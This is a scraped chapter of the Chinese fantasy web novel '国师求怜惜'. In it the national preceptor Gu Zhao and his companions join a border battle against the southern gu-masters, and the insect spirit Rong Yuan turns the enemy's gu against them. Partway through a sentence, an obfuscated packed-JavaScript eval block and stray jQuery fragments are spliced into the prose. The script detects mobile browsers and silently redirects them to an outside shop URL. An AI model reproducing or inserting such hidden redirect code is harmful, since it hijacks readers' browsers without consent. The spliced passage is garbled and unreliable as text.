文趣网 > 其他小说 > 国师求怜惜 > 29. 第 29 章
    容鸢闭了嘴,清静了不少。

    一路走向南疆,路上并无甚波折,只是容鸢又吐了,一行人被迫停下。

    顾昭给容鸢顺着背,“你以前不是不会晕了的吗?怎么回事?”

    “不是……呕……樊雾这个……呕死疯子,叫她慢点她狂甩,呕……”

    容鸢吐得直不起腰。

    樊雾拧眉,“还不是你太慢了,赶个路磨磨唧唧的。”

    容鸢抗议:“……我,还不是呕……身法不好,如果好的话也不用受此折磨!!!”

    “啧,麻烦。”樊雾没好气。

    “好了。”顾昭继续给容鸢顺着背,“你们也是,不可以都安分些吗?”

    忽的容鸢神色一紧,扯过顾昭,“走!快点走!南疆、南疆要打来了!”

    顾昭扯起容鸢,“阿雾,缩地成寸!”

    三人同时使用术法朝南疆行去,到时还是晚了一步。

    已经开打了,南疆人擅蛊毒,那些天盛兵士虽装备齐全就讨不到什么好。

    顾昭一抖衣袖,“上!”

    容鸢就这么飞了出去。

    落地的瞬间,四面八方有蛊虫倒戈。

    南疆人有些慌张。

    “怎么回事?”

    “蛊都疯了!”

    “不对!是有人控制了他们!”

    “谁?谁有这么大的本事?”

    “是它……它回来了!”

    南疆人一时间骚乱了起来,很快,他们的将军喊道:“怎么可能?他已经被献给天神了,怎么可能活着?你们不能中了他们的计!”

    顾昭与樊雾趁着骚乱也加入了战局,厮杀了起来。

    容鸢露出身形,阴测测笑着,“哼、哼哈哈哈!我回来了!没想到吧?”

    容鸢周边立刻形成一块无人区。

    “它……它真的回来了!”

    “它是来复仇的!一定是!”

    南疆人往后退着,南疆将领厉呵一声,“你们是要做逃兵吗?”

    “可将军,它来了,他是要索我们的命的呀!”

    将军沉声问道:“天圣子,你有什么不甘的?你是来复仇的吗?”

    “复仇?”容鸢反问,“复什么仇?”

    “天圣子,献祭就是你的使命,你不该这样的。”将军的语气还算客气。

    “受了这么多供奉,南疆将你养大你应该要报恩的。”

    容鸢目光阴冷,“我已经报了了呀,现在轮到我报仇了。”

    “有什么仇?南疆对你只有恩!”那将领嘶吼,“快让这些蛊虫停下!”

    “我凭什么停?你们当年停过吗?我就是来讨债的!”容鸢恨恨道,“我现在也不是天圣子了,天圣子早死了!”

    “你!你是要叛离南疆吗?”将领抬起刀,指向容鸢,“如果还是南疆的就过来,如果不是,就死!”

    “啧,还是没认清局势。”更多的蛊虫叛变了,朝原本的饲主撕咬而去。

    “我还是劝你先退吧,不然真的全军覆面了……”

    将军瞪了一眼殷寂,便喊道:“退兵!”

    就……这么退了?

    余下的士兵有些呆滞,原本是敌不过南疆的,怎就天上来援了?

    顾昭以剑撑地,喘着粗气,望向容鸢,容鸢体力不支,朝后倒去,被樊雾扶起。

    樊雾:“昏了。”

    顾昭声音沙哑,“选回去……”

    缩地成寸极耗仙力,顾昭本就刚刚恢复,仙力不稳,这一下已经是在强撑了。

    容鸢更是,这个弱鸡,一下子传这么远,肯定受不了。

    只有樊雾还能自己走动了。

    这次的将领名为吴魁,披着一身重甲,走上前问:“几位是……”

    顾昭从怀中掏出国师令便丢了过去。

    天盛王朝,国师令的地位仅次于皇帝的玉玺。

    吴魁看到这枚令牌立刻变得恭敬起来,“原是国师大架,失礼。”

    顾昭摆摆手,“先回去吧。”

    “国师怎么会来这里?不应该守着皇城吗?”吴魁指挥小兵去抬容鸢,并问道。

    顾昭道:“南疆比较特殊,阴毒招数多,我过来照看一下比较安稳。”

    “那就谢过国师了……”吴魁又弓身一礼,“今后军队便由国师统领。”

    吴魁按照之前国师的脾性,十分识趣的交出领兵权利。

    顾昭摇头,“我没带过兵,恐怕做不好,我便在旁辅助,调度之事还是由将军来。”

    吴魁有些惊讶,之前那些术士不管懂不懂领兵,都是先要将权力拢在自己手里才安心的。

    吴魁又看向容鸢,“那位公子……是南疆的吗?”

    顾昭道:“不完全是,他是自己人,信得过。”

    到了军营,吴魁将最好的几顶帐子整理出来给顾昭一行人住。

    樊雾立在容鸢床前,转头问坐在一边的顾昭问道:“他又是什么身份?你不是说他只是一只小虫吗?”

    顾昭道:“对啊,他是虫,但也没说是普通的虫啊,他原本可以当蛊王的……”

    “哦?那怎么又不当了?”樊雾问。

    顾昭叹了一口气,“不然你以为他现在怎么这么弱?他以前可凶残了。”

    “还不是因为天神祭,也不知道他们信了个什么神,过个百来年就要来一次。”

    樊雾问:“为什么叫他天圣子?”

    顾昭思索,“嗯……跟太子差不多的意思。”

    “从前他说不能一只虫待在仙山,他要去寻亲,南疆的虫子最多,他便去了,我拦都拦不住,在有消息时,他说他成了天圣子,以后会成王的。”

    “然后还没来得及当上蛊王呢,南疆就不知道从哪学来的天神祭,把这家伙拉去祭了,南疆从此实力大涨。”

    “我好不容易才把他救回来,不然他可能比你我还强一点。”

    樊雾看着容鸢那张脸:“原来也没这么废……”

    “肯定的,现在也不弱,只不是仙力散了大半。”顾昭有些失落,“如果没出那件事的话,他应该也很强的。”

    樊雾又问:“他你以前就是这么个脾气吗?”

    顾昭无语片刻,“为之更甚……”

    樊雾:“真是……”

    “你们在说我坏话吗?”容鸢有气无力的声音传了上来。

    樊雾颔首,“他们为什么怕你?”

    容鸢冷笑一声,“还不是做了亏心事,怕鬼敲门。”

    “没想到这么多年了,他们还对我印象深刻,哎,真是……我的影响力还是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753189|208397||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这么大啊!”

    容鸢颇为自恋的答道。

    “下次别这样了。”顾昭神色复杂,“你在强行控制这么多蛊虫会受更大的反噬的。”

    “怕什么……我又不是你们,我和他们才是一起的,同根同源,怎么会害我呢?”容鸢揉了揉,自己发痛的头,“只不过是跟这么多交谈,头有点痛,精神力有点透支而已……”

    樊雾:“你的能力有点逆天啊。”

    “这才发现啊?真废。”容鸢反讽一句,笑的得意,“还有更逆天的,你且看着吧。”

    樊雾任由他讽刺,只淡淡问道:“他们要抓殷寂是因为天神祭,天神祭到底是什么?”

    “天神祭啊……”容鸢陷入了深深的回忆,“天神是邪神,也不知道他们从哪里搞过来的?反正是邪神。”

    “我见过那个神一眼,吓人的嘞……”

    顾昭:“好了,你好好休息吧。”

    说罢便拉着樊雾走了出去。

    “那一次献祭差点把他弄死,要不是我和几个师兄姐一起还救不回他的小命。”

    樊雾惊呼:“这么厉害吗?”

    “仙人也是人,与神怎么比?”顾昭道,“不过要早起麻烦还是得要把这个邪神给推翻。”

    樊雾问:“怎么推翻?”

    “将所有信徒清理掉就行了。”顾昭道,“邪神总喜欢控制人的欲念,让人信服。”

    “都杀了?”樊雾问。

    顾昭点头,“反正被欲念控制的人也拉不回来了。”

    二人在转角处又遇上吴魁。

    吴魁行礼,“见过国师,樊大人。”

    “不必如此,在军营还行什么礼?一切从简便好。”顾昭将人扶起。

    吴魁语带感激,“多谢国师及时相助!本是必败的局面,结果还是翻盘了!”

    “我应该做的。”顾昭淡淡应道,“对了,你们已经对上几局了?”

    吴魁答道:“只此一局。”

    顾昭思索,“你们得先防蛊,一般普通的蛊用朱砂便可。”

    “你且先去采买一些朱砂发给众人。”

    “切记,一定要随身携带,蛊一旦被种下就极难拔除。”

    “是。”吴魁还是很恭敬。

    每一个士兵都是他的兄弟,这个国师既然与以前那些高傲的术士不一样,能把他们放在眼里,那便值得尊敬。

    “嗯。”顾昭便和樊雾走去了。

    一路上受到了许多士炉的注视,终于有一个小兵士走上前来,看样子应当与殷寂年龄相仿。

    他有些怯怯的,以上前来便将背脊弯的低低的,耳尖绯红,“二位大人,多……多谢二位大人相助!大人风姿威武!弟兄们都……都很是钦佩!”

    顾昭轻轻笑出声,将少年扶起,“本职所在,无甚好感谢的,要谢也是该谢谢你们,守卫边境。”

    少年的脸更红了,十分激动,“大人,小的们将永远追随大人!大人有什么事尽管吩咐!”

    “行。”顾昭没有拒绝这份纯粹的好意,“你叫什么名字?”

    少年眼神放光,“在下……名为秦柒。”

    顾昭觉得这人同殷寂有些相像,便多了几分耐心,轻声道:“我记下了。”

    少年更兴奋了,跑向同伴炫耀。